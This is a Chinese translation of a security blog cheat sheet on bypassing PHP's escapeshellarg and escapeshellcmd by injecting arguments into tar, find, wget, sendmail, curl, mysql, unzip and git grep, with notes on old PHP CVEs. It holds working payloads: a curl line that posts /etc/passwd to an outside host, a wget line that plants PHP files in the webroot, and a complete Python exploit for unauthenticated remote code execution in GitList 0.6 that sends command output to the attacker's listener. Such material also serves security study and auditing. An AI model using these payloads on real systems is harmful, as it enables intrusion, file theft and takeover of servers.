TL; DR:如何利用/绕过/使用PHP escapeshellarg / escapeshellcmd函数。
我创建了这个简单的备忘单,因为GitList 0.6 Unauthenticated RCE,因此您可以轻松理解它是如何工作的。
注意:这是一个简单的清单,其中包含易于理解的示例,因此它不包含有关escapeshell *函数的所有/全面的详细信息。
该文档也可在GitHub上获得。
escapeshellarg
和escapeshellcmd
真的吗?功能 | 描述 |
---|---|
escapeshellcmd | 确保用户只执行一个命令 用户可以指定不限数量的参数 用户不能执行不同的命令 |
escapeshellarg | 确保用户只传递一个参数给命令 用户不能指定更多的参数一个 用户不能执行不同的命令 |
例。Let't使用组用于打印的组成员的每个用户名。
1 2 3 4 5 |
$username = <span class="hljs-string">'myuser'</span>; system(<span class="hljs-string">'groups '</span>.$username); => myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare |
但攻击者可以使用;
或||
内部$username
。
在Linux上这意味着第二个命令将在第一个命令后执行:
1 2 3 4 5 6 |
$username = <span class="hljs-string">'myuser;id'</span>; system(<span class="hljs-string">'groups '</span>.$username); => myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare uid=<span class="hljs-number">33</span>(www-data) gid=<span class="hljs-number">33</span>(www-data) groups=<span class="hljs-number">33</span>(www-data) |
为了防止这一点,我们正在使用escapeshellcmd
。
现在攻击者无法运行第二个命令。
1 2 3 4 5 6 |
$username = <span class="hljs-string">'myuser;id'</span>; <span class="hljs-comment">// escapeshellcmd adds \ before ;</span> system(escapeshellcmd(<span class="hljs-string">'groups '</span>.$username)); => (nothing) |
为什么?因为PHP内部运行这个命令:
1 2 3 |
$ groups myuser\;id groups: „myuser;id”: no such user |
myuser\;id
被视为单个字符串。
但是在这种方法中,攻击者可以指定更多参数groups
。
例如,他可以一次检查多个用户:
1 2 3 4 5 6 |
$username = <span class="hljs-string">'myuser1 myuser2'</span>; system(<span class="hljs-string">'groups '</span>.$username); => myuser1 : myuser1 adm cdrom sudo myuser2 : myuser2 adm cdrom sudo |
假设我们希望允许每个脚本执行仅检查一个用户:
1 2 3 4 5 |
$username = <span class="hljs-string">'myuser1 myuser2'</span>; system(<span class="hljs-string">'groups '</span>.escapeshellarg($username)); => (noting) |
为什么?因为现在$username
被视为单个参数:
1 2 3 |
$ groups <span class="hljs-string">'myuser1 myuser2'</span> groups: <span class="hljs-string">"myuser1 myuser2"</span>: <span class="hljs-literal">no</span> such user |
当你想利用这些功能时,你有两个选择:
从上一章可以看到,使用escapeshellcmd / escapeshellarg时不可能执行第二个命令。
但是我们仍然可以将参数传递给第一个命令。
这意味着我们也可以将新选项传递给命令。
利用漏洞的能力取决于目标可执行文件。
您可以在下面找到一些已知可执行文件的列表,其中包含一些可能被滥用的特定选项。
压缩some_file
成/tmp/sth
。
1 2 3 |
$command = <span class="hljs-string">'-cf /tmp/sth /some_file'</span>; system(escapeshellcmd(<span class="hljs-string">'tar '</span>.$command)); |
创建空/tmp/exploit
文件。
1 2 3 |
$command = <span class="hljs-string">"--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd"</span>; system(escapeshellcmd(<span class="hljs-string">'tar '</span>.$command)); |
查找some_file
里面/tmp
的目录。
1 2 3 |
$file = <span class="hljs-string">"some_file"</span>; system(<span class="hljs-string">"find /tmp -iname "</span>.escapeshellcmd($file)); |
打印/etc/passwd
内容。
1 2 3 |
$file = <span class="hljs-string">"sth -or -exec cat /etc/passwd ; -quit"</span>; system(<span class="hljs-string">"find /tmp -iname "</span>.escapeshellcmd($file)); |
在这个配置中,我们可以传递第二个参数给函数。
在/tmp
dir中列出文件并忽略sth
。
1 2 3 |
$arg = <span class="hljs-string">"sth"</span>; system(escapeshellcmd(<span class="hljs-string">"ls --ignore="</span>.escapeshellarg($arg).<span class="hljs-string">' /tmp'</span>)); |
在/tmp
dir中列出文件并忽略sth
。使用长列表格式。
1 2 3 4 |
$arg = <span class="hljs-string">"sth' -l "</span>; <span class="hljs-comment">// ls --ignore='exploit'\\'' -l \' /tmp</span> system(escapeshellcmd(<span class="hljs-string">"ls --ignore="</span>.escapeshellarg($arg).<span class="hljs-string">' /tmp'</span>)); |
下载example.php
。
1 2 3 |
$url = <span class="hljs-string">'http://example.com/example.php'</span>; system(escapeshellcmd(<span class="hljs-string">'wget '</span>.$url)); |
将.php
文件保存到特定目录:
1 2 3 |
$url = <span class="hljs-string">'--directory-prefix=/var/www/html http://example.com/example.php'</span>; system(escapeshellcmd(<span class="hljs-string">'wget '</span>.$url)); |
打印里面的文件列表somedir
。
1 2 3 4 |
$dir = <span class="hljs-string">"somedir"</span>; file_put_contents(<span class="hljs-string">'out.bat'</span>, escapeshellcmd(<span class="hljs-string">'dir '</span>.$dir)); system(<span class="hljs-string">'out.bat'</span>); |
同时执行whoami
命令。
1 2 3 4 |
$dir = <span class="hljs-string">"somedir \x1a whoami"</span>; file_put_contents(<span class="hljs-string">'out.bat'</span>, escapeshellcmd(<span class="hljs-string">'dir '</span>.$dir)); system(<span class="hljs-string">'out.bat'</span>); |
请参阅:如何将参数传递给Windows上的新进程。
发送mail.txt
。将信封发件人地址设置为from@sth.com
1 2 3 |
$from = <span class="hljs-string">'from@sth.com'</span>; system(<span class="hljs-string">"/usr/sbin/sendmail -t -i -f"</span>.escapeshellcmd($from ).<span class="hljs-string">' < mail.txt'</span>); |
打印/etc/passwd
内容。
1 2 3 |
$from = <span class="hljs-string">'from@sth.com -C/etc/passwd -X/tmp/output.txt'</span>; system(<span class="hljs-string">"/usr/sbin/sendmail -t -i -f"</span>.escapeshellcmd($from ).<span class="hljs-string">' < mail.txt'</span>); |
下载http://example.com
内容。
1 2 3 |
$url = <span class="hljs-string">'http://example.com'</span>; system(escapeshellcmd(<span class="hljs-string">'curl '</span>.$url)); |
发送/etc/passwd
内容到http://example.com
。
1 2 3 |
$url = <span class="hljs-string">'-F password=@/etc/passwd http://example.com'</span>; system(escapeshellcmd(<span class="hljs-string">'curl '</span>.$url)); |
您可以使用以下方式获取文件
1 2 |
file_put_contents(<span class="hljs-string">'passwords.txt'</span>, file_get_contents($_FILES[<span class="hljs-string">'password'</span>][<span class="hljs-string">'tmp_name'</span>])); |
执行sql语句:
1 2 3 |
$sql = <span class="hljs-string">'SELECT sth FROM table'</span>; system(<span class="hljs-string">"mysql -uuser -ppassword -e "</span>.escapeshellarg($sql)); |
运行id
命令。
1 2 3 |
$sql = <span class="hljs-string">'\! id'</span>; system(<span class="hljs-string">"mysql -uuser -ppassword -e "</span>.escapeshellarg($sql)); |
将所有*.tmp
文件解压缩archive.zip
到/tmp
目录中。
1 2 3 |
$zip_name = <span class="hljs-string">'archive.zip'</span>; <span class="hljs-keyword">system</span>(escapeshellcmd(<span class="hljs-string">'unzip -j '</span>.$zip_name.<span class="hljs-string">' *.txt -d /aa/1'</span>)); |
将所有*.tmp
文件解压缩archive.zip
到/var/www/html
目录中。
1 2 3 |
$zip_name = <span class="hljs-string">'-d /var/www/html archive.zip'</span>; <span class="hljs-keyword">system</span>(<span class="hljs-string">'unzip -j '</span>.escapeshellarg($zip_name).<span class="hljs-string">' *.tmp -d /tmp'</span>); |
1 2 3 4 5 6 7 8 |
$filename = <span class="hljs-string">'résumé.pdf'</span>; <span class="hljs-regexp">//</span> string(<span class="hljs-number">10</span>) <span class="hljs-string">"'rsum.pdf'"</span> var_dump(escapeshellarg($filename)); setlocale(LC_CTYPE, <span class="hljs-string">'en_US.utf8'</span>); <span class="hljs-regexp">//string</span>(<span class="hljs-number">14</span>) <span class="hljs-string">"'résumé.pdf'"</span> var_dump(escapeshellarg($filename)); |
1. Windows上的PHP <= 4.3.6 - CVE-2004-0542
1 2 3 |
$find = <span class="hljs-string">'word'</span>; <span class="hljs-keyword">system</span>(<span class="hljs-string">'FIND /C /I '</span>.escapeshellarg($find).<span class="hljs-string">' c:\\where\\'</span>); |
运行dir
命令。
1 2 3 |
$find = <span class="hljs-string">'word " c:\\where\\ || dir || '</span>; <span class="hljs-keyword">system</span>(<span class="hljs-string">'FIND /C /I '</span>.escapeshellarg($find).<span class="hljs-string">' c:\\where\\'</span>); |
2. PHP 4 <= 4.4.8和PHP 5 <= 5.2.5 - CVE-2008-2051
Shell需要使用GBK,EUC-KR,SJIS等可变宽度字符集的语言环境。
1 2 3 |
$text = <span class="hljs-string">"sth"</span>; <span class="hljs-keyword">system</span>(escapeshellcmd(<span class="hljs-string">"echo "</span>.$text)); |
1 2 3 |
$text = <span class="hljs-string">"sth \xc0; id"</span>; <span class="hljs-keyword">system</span>(escapeshellcmd(<span class="hljs-string">"echo "</span>.$text)); |
要么
1 2 3 4 |
$text1 = <span class="hljs-string">'word'</span>; $text2 = <span class="hljs-string">'word2'</span>; <span class="hljs-keyword">system</span>(<span class="hljs-string">'echo '</span>.escapeshellarg($text1).<span class="hljs-string">' '</span>.escapeshellarg($text2)); |
1 2 3 4 |
$text1 = <span class="hljs-string">"word \xc0"</span>; $text2 = <span class="hljs-string">"; id ; #"</span>; <span class="hljs-keyword">system</span>(<span class="hljs-string">'echo '</span>.escapeshellarg($text1).<span class="hljs-string">' '</span>.escapeshellarg($text2)); |
3. 在5.5.26之前的PHP <5.4.42,5.5.x,在Windows的5.6.10之前的5.6.x - CVE-2015-4642
传递额外的第三个参数(--param3)
。
1 2 3 4 |
$a = <span class="hljs-string">'param1_value'</span>; $b = <span class="hljs-string">'param2_value'</span>; <span class="hljs-keyword">system</span>(<span class="hljs-string">'my_command --param1 '</span> . escapeshellarg($a) . <span class="hljs-string">' --param2 '</span> . escapeshellarg($b)); |
1 2 3 4 |
$a = <span class="hljs-string">'a\\'</span>; $b = <span class="hljs-string">'b -c --param3\\'</span>; <span class="hljs-keyword">system</span>(<span class="hljs-string">'my_command --param1 '</span> . escapeshellarg($a) . <span class="hljs-string">' --param2 '</span> . escapeshellarg($b)); |
4. 7.0.2之前的PHP 7.x - CVE-2016-1904
如果将1024mb
字符串传递给escapeshellarg
或,则基于堆的缓冲区溢出escapeshellcmd
。
5. 在Windows上,PHP 5.4.x <5.4.43 / 5.5.x <5.5.27 / 5.6.x <5.6.11
启用EnableDelayedExpansion后,展开一些环境变量。
然后!STH!
类似于%STH%
。
escapeshellarg
不消毒!
字符。
EnableDelayedExpansion可以在HKLM或HKCU下的注册表中设置:
1 2 3 4 |
[<span class="hljs-meta">HKEY_CURRENT_USER\Software\Microsoft\Command Processor</span>] <span class="hljs-string">"DelayedExpansion"</span>= (REG_DWORD) <span class="hljs-number">1</span>=enabled <span class="hljs-number">0</span>=disabled (<span class="hljs-keyword">default</span>) |
例:
1 2 3 4 |
<span class="hljs-comment">// Leak appdata dir value</span> $text = <span class="hljs-string">'!APPDATA!'</span>; <span class="hljs-keyword">print</span> <span class="hljs-string">"echo "</span>.escapeshellarg($text); |
6. PHP <5.6.18
中定义的功能ext/standard/exec.c
,其与串(工作escapeshellcmd
,eschapeshellarg
,shell_exec
),所有忽略PHP字符串的长度,并用NULL终止工作代替。
1 2 3 4 |
<span class="hljs-keyword">echo</span> escapeshellarg(<span class="hljs-string">"hello\0world"</span>); => hello |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
<span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">searchTree</span><span class="hljs-params">($query, $branch)</span> </span>{ <span class="hljs-keyword">if</span> (<span class="hljs-keyword">empty</span>($query)) { <span class="hljs-keyword">return</span> <span class="hljs-keyword">null</span>; } $query = escapeshellarg($query); <span class="hljs-keyword">try</span> { $results = <span class="hljs-keyword">$this</span>->getClient()->run(<span class="hljs-keyword">$this</span>, <span class="hljs-string">"grep -i --line-number {$query} $branch"</span>); } <span class="hljs-keyword">catch</span> (\RuntimeException $e) { <span class="hljs-keyword">return</span> <span class="hljs-keyword">false</span>; } } |
简化:
1 2 3 |
$query = <span class="hljs-string">'sth'</span>; <span class="hljs-keyword">system</span>(<span class="hljs-string">'git grep -i --line-number '</span>.escapeshellarg($query).<span class="hljs-string">' *'</span>); |
当我们检查git grep文档时:
1 2 3 |
--open-files-<span class="hljs-keyword">in</span>-pager[=<pager>] Open the matching files <span class="hljs-keyword">in</span> the pager (<span class="hljs-keyword">not</span> the output <span class="hljs-keyword">of</span> grep). If the pager happens to be <span class="hljs-string">"less"</span> <span class="hljs-keyword">or</span> <span class="hljs-string">"vi"</span>, <span class="hljs-keyword">and</span> the user specified only one pattern, the first file <span class="hljs-keyword">is</span> positioned at the first match automatically. |
所以基本上--open-files-in-pager
就像是-exec
在工作find.
1 2 3 |
$query = <span class="hljs-string">'--open-files-in-pager=id;'</span>; <span class="hljs-keyword">system</span>(<span class="hljs-string">'git grep -i --line-number '</span>.escapeshellarg($query).<span class="hljs-string">' *'</span>); |
当我们把它放到控制台时:
1 2 3 4 |
$ git grep -i --line-number '--open-files-in-pager=id;' * uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev) <span class="hljs-section">id;: 1: id;: README.md: not found</span> |
最终的利用 - 下载:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 |
<span class="hljs-keyword">import</span> requests <span class="hljs-keyword">from</span> BaseHTTPServer <span class="hljs-keyword">import</span> BaseHTTPRequestHandler, HTTPServer <span class="hljs-keyword">import</span> urlparse <span class="hljs-keyword">import</span> urllib <span class="hljs-keyword">import</span> threading <span class="hljs-keyword">import</span> time <span class="hljs-keyword">import</span> os <span class="hljs-keyword">import</span> re url = <span class="hljs-string">'http://192.168.1.1/gitlist/'</span> command = <span class="hljs-string">'id'</span> your_ip = <span class="hljs-string">'192.168.1.100'</span> your_port = <span class="hljs-number">8001</span> <span class="hljs-keyword">print</span> <span class="hljs-string">"GitList 0.6 Unauthenticated RCE"</span> <span class="hljs-keyword">print</span> <span class="hljs-string">"by Kacper Szurek"</span> <span class="hljs-keyword">print</span> <span class="hljs-string">"https://security.szurek.pl/"</span> <span class="hljs-keyword">print</span> <span class="hljs-string">"REMEMBER TO DISABLE FIREWALL"</span> search_url = <span class="hljs-keyword">None</span> r = requests.get(url) repos = re.findall(<span class="hljs-string">r'/([^/]+)/master/rss'</span>, r.text) <span class="hljs-keyword">if</span> len(repos) == <span class="hljs-number">0</span>: <span class="hljs-keyword">print</span> <span class="hljs-string">"[-] No repos"</span> os._exit(<span class="hljs-number">0</span>) <span class="hljs-keyword">for</span> repo <span class="hljs-keyword">in</span> repos: <span class="hljs-keyword">print</span> <span class="hljs-string">"[+] Found repo {}"</span>.format(repo) r = requests.get(<span class="hljs-string">"{}{}"</span>.format(url, repo)) files = re.findall(<span class="hljs-string">r'href="[^\"]+blob/master/([^\"]+)"'</span>, r.text) <span class="hljs-keyword">for</span> file <span class="hljs-keyword">in</span> files: r = requests.get(<span class="hljs-string">"{}{}/raw/master/{}"</span>.format(url, repo, file)) <span class="hljs-keyword">print</span> <span class="hljs-string">"[+] Found file {}"</span>.format(file) <span class="hljs-keyword">print</span> r.text[<span class="hljs-number">0</span>:<span class="hljs-number">100</span>] search_url = <span class="hljs-string">"{}{}/tree/{}/search"</span>.format(url, repo, r.text[<span class="hljs-number">0</span>:<span class="hljs-number">1</span>]) <span class="hljs-keyword">break</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> search_url: <span class="hljs-keyword">print</span> <span class="hljs-string">"[-] No files in repo"</span> os._exit(<span class="hljs-number">0</span>) <span class="hljs-keyword">print</span> <span class="hljs-string">"[+] Search using {}"</span>.format(search_url) <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GetHandler</span><span class="hljs-params">(BaseHTTPRequestHandler)</span>:</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">do_GET</span><span class="hljs-params">(self)</span>:</span> parsed_path = urlparse.urlparse(self.path) <span class="hljs-keyword">print</span> <span class="hljs-string">"[+] Command response"</span> <span class="hljs-keyword">print</span> urllib.unquote_plus(parsed_path.query).decode(<span class="hljs-string">'utf8'</span>)[<span class="hljs-number">2</span>:] self.send_response(<span class="hljs-number">200</span>) self.end_headers() self.wfile.write(<span class="hljs-string">"OK"</span>) os._exit(<span class="hljs-number">0</span>) <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">log_message</span><span class="hljs-params">(self, format, *args)</span>:</span> <span class="hljs-keyword">return</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">exploit_server</span><span class="hljs-params">()</span>:</span> server = HTTPServer((your_ip, your_port), GetHandler) server.serve_forever() <span class="hljs-keyword">print</span> <span class="hljs-string">"[+] Start server on {}:{}"</span>.format(your_ip, your_port) t = threading.Thread(target=exploit_server) t.daemon = <span class="hljs-keyword">True</span> t.start() <span class="hljs-keyword">print</span> <span class="hljs-string">"[+] Server started"</span> r = requests.post(search_url, data={<span class="hljs-string">'query'</span>:<span class="hljs-string">'--open-files-in-pager=php -r "file_get_contents(\\"http://{}:{}/?a=\\".urlencode(shell_exec(\\"{}\\")));"'</span>.format(your_ip, your_port, command)}) <span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>: time.sleep(<span class="hljs-number">1</span>) |
参考:https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html
本文由安全周翻译。转载请注明出处
您必须[登录] 才能发表留言!